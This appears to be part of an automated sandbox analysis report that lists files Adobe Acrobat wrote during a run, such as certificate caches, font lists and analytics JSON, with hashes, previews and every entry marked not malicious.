SHA-512:	E514CECF4DAB831322538D1CCB19EDDDCB09A306C421435F08B8B8503D457475CED93D0B391B9DAF4C2CEB6A7993B6E81F6F33E8DB10AB7D782175DB138B8E01
Malicious:	false
Preview:	.... .c.....;..*...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7564456778558664
Encrypted:	false
SSDEEP:	3:kkFklBD/yAttfllXlE/HT8kr8h/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKHAeT8i8htTNMa8RdWBwRd
MD5:	EBF774A0BBC5306916B1F3C953D2577E
SHA1:	3FC272A1CC32EC9F101E9DD0A8D3D10D897CC80E
SHA-256:	51C2FF5D6E720D61B8FDDE185A1284D8026A9218ECF5AC65442951F1BF3E5B35
SHA-512:	B859150E1821887B971D139B07C6FA682DECCB1ED01F802A0EBDF07870236CB6E12ECDEC5AE42E8F64EC26BF745BBBFBCFFB172F7AE5176A0B33FE79F5F0CC2E
Malicious:	false
Preview:	p...... ...........d..(....................................................... ..........W.....J..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2208312801850676
Encrypted:	false
SSDEEP:	6:kKt4MIDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:PI2DImsLNkPlE99SNxAhUe/3
MD5:	A703DB837C9F83CC23615E644D4E0D3D
SHA1:	4466CF2B94358D975140B5C789AA4B048AB8706B
SHA-256:	181DADCC2DA6788082ED79FAA08CEA26489BE5ACA107D764FF15513A6FF6D37C
SHA-512:	6C4C5655EFA57A1111234C8978B52ECCA1FA48961EBD0DFEEE910DBF14485C837C5D776BFABDC057779F315E701818E464B12E23EAC7979C3C7546A717086323
Malicious:	false
Preview:	p...... ............d..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7984

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7984

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361287626147876
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJM3g98kUwPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGMbLUkee9
MD5:	8247BE92DF0CB513C153B9119A1C0370
SHA1:	6759B58E929CC60F5ECE9F2865E9BB292FD9C1E3
SHA-256:	FFDE57751146FA8C79AF4758D7884AE8F2992F7594A3A72A3CD29D6663428D94
SHA-512:	BDD5ED81813415A318B9770671F1373AB9ED88E91DBC320DC85C0ACB41E1F3D9A47068A82F701F031EBA60B9EA520BAE6F9FE0255E49914ACE6CF190D26D15BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313337793101053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfBoTfXpnrPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGWTfXcUkee9
MD5:	A4B9379A6ED68292598FC87BCA38B90D
SHA1:	88C858C85FD2A2399D80A7FF2066E561B3131ABD
SHA-256:	6107F346FE0BC5B6EAE13A64929BBE8B0511FA0861B37C8FF11FF09A0BD33497
SHA-512:	43D0A7E9C9C82897C86BABA42377FFA32709B43EADE31F409631AB19432A92F057655BDE3D9DF79AA82265F10388A867E902F7A1CEA59FA4529EA31B2DD84F89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292158868146652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfBD2G6UpnrPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGR22cUkee9
MD5:	D670910DCE7A0D62837A3E707F931B03
SHA1:	09EF6958BFB5C147657661852FBAB7922B0CAA63
SHA-256:	D30F7922288CE99556B1756A5ECE0D9DEB6A4F06EEE9DBFC0EF6396F6A9567CC
SHA-512:	AD4A44838213D57E41F8F293B9EE0EC673C2BE3A957CD9F98E351BF6A8CCA3E4349F0AA28C9107EB3133822A120B94C09484DB9EF5BC9EBAE2EA293FAB39315B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342216825016465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfPmwrPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGH56Ukee9
MD5:	0CFCA53513C986B625C73EA1810C72F0
SHA1:	FD6E87448B08A45BE0245EB4C5148EB66BA86F5C
SHA-256:	60EA971EFAD8D3ED949D720D21C3467F5A2B9C24BA489AF9381B74C761AE0845
SHA-512:	BDCAECA997F2750BF3D8F27765FA5953170545583D7EB6228DDC4A69913D26652C78E72315CDBE7A01EB5BD062FE1666041E8161755A24C5F94E349893A53C28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6983830530043305
Encrypted:	false
SSDEEP:	24:Yv6XBROpLT5XIyspLgE9cQx8LennAvzBvkn0RCmK8czOCCSm7S:YvEUpBXRshgy6SAFv5Ah8cv/8S
MD5:	97AA1E36CF964725E29F6B1E93270DCE
SHA1:	53A16C0DBAC377133AAE35767F9D3CB8331A2182
SHA-256:	71B1E8CAE13C7F6D157B5109174418D890669786A161FBA1B31455D857E9296F
SHA-512:	D1DB5104564F82EF4DB98DC4BC62E4ED4EB65EA1D490C9FE608910DE6C9515D84BD14420996AAEFD4780A06E9933B960AEC64A545AB3F0B5CFBD7E3619E65D5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316486007566558
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJf8dPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGU8Ukee9
MD5:	5B6FF72A1204C860B67644EBAFD093E3
SHA1:	E227057B4426FB08D49A6DA84556DAA45BD0C50E
SHA-256:	C64395DA8A9DB281CAB7427870C0FBE11B483B5D82B0AF68F79B69A19D5FD864
SHA-512:	1863B6CD0C2E718E70567EB2FACE8AEE6319B9ABD9017E618443A850172C35C1AF0E3260736E9701E9F6AD8F22B7E50B22423698695A417B08685CA21E20F4BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.306942232992842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfQ1rPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGY16Ukee9
MD5:	19957F155D0F21FA484C17FF0935BE93
SHA1:	7F23D76F4D245CBA05D7061D6DBE6719E286013B
SHA-256:	E70CA78E7DD80AE9BB0611520E389E49D046B9983F2A7E1761B5D26C0653B521
SHA-512:	B1D90EA8194C1EEE68ACBA502213D203F809F98935EE5773DB39C0FA0E7DF2DC3D346C294FDE8B7A23D0458492ADBF47DE66C5A8EE2D1A4208A36ED6361A6DF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.32698496187921
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfFldPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGz8Ukee9
MD5:	779B20BE5FC1DAAD718852D9402496D5
SHA1:	0755AE875704EC0A434E4F012EA5C3DD62369B99
SHA-256:	BDDD8271EF7D777D1D1836D514320A603C8203BBCCD51E0ABD2E4E2AD6D841E7
SHA-512:	D335C1C1B21789200BF2B45090EE725925FEFE822D4C5B849503691DF917D82E24A5187CCE0B4A6CCC4FC58FDCC860D28F038CCCD7FACC3652DE6140CA042101
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342604617439514
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfzdPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGb8Ukee9
MD5:	CA2CBBA599CEA19A6F384A44451CE60D
